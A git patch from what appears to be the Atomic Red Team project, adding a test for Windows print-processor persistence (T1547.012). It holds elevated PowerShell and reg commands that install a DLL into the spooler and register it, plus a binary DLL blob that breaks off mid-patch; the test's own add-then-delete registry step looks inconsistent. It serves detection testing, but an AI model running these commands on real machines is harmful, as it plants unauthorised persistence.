From efcd4e6fba4104ed18a114906fa3b9dbf138b527 Mon Sep 17 00:00:00 2001 From: hRun Date: Mon, 17 Jul 2023 18:20:53 +0200 Subject: [PATCH] Added test for T1547.012 (#2484) * Added test for T1547.012 * optionally restart --------- Co-authored-by: Carrie Roberts --- atomics/T1547.012/T1547.012.yaml | 36 ++++++++++++ atomics/T1547.012/bin/PrintProcessor.dll | Bin 0 -> 99328 bytes atomics/T1547.012/src/dllmain.cpp | 70 +++++++++++++++++++++++ 3 files changed, 106 insertions(+) create mode 100644 atomics/T1547.012/T1547.012.yaml create mode 100644 atomics/T1547.012/bin/PrintProcessor.dll create mode 100644 atomics/T1547.012/src/dllmain.cpp diff --git a/atomics/T1547.012/T1547.012.yaml b/atomics/T1547.012/T1547.012.yaml new file mode 100644 index 00000000..98bb61e6 --- /dev/null +++ b/atomics/T1547.012/T1547.012.yaml @@ -0,0 +1,36 @@ +attack_technique: T1547.012 +display_name: 'Boot or Logon Autostart Execution: Print Processors' +atomic_tests: +- name: Print Processors + description: | + Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors. + The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. + + Note: The test assumes a x64 Windows operating system. + + The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html) + supported_platforms: + - windows + input_arguments: + restart: + description: set to 1 if you want the computer to reboot as part of the test + type: integer + default: 0 + executor: + command: | + net stop spooler + Copy-Item $PathToAtomicsFolder\T1547.012\bin\PrintProcessor.dll C:\Windows\System32\spool\prtprocs\x64\PrintProcessor.dll + reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "PrintProcessor.dll" /t REG_SZ /f + reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /f >nul 2>&1 + net start spooler + if(#{restart}){ + Restart-Computer + } + cleanup_command: | + net stop spooler + rm -force C:\Windows\System32\spool\prtprocs\x64\PrintProcessor.dll + rm -force C:\Users\Public\AtomicRedTeam.txt + reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /f >nul 2>&1 + net start spooler + name: powershell + elevation_required: true diff --git a/atomics/T1547.012/bin/PrintProcessor.dll b/atomics/T1547.012/bin/PrintProcessor.dll new file mode 100644 index 0000000000000000000000000000000000000000..b47936b41df45b9feeccfcfbc0dd951569c0e624 GIT binary patch literal 99328 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 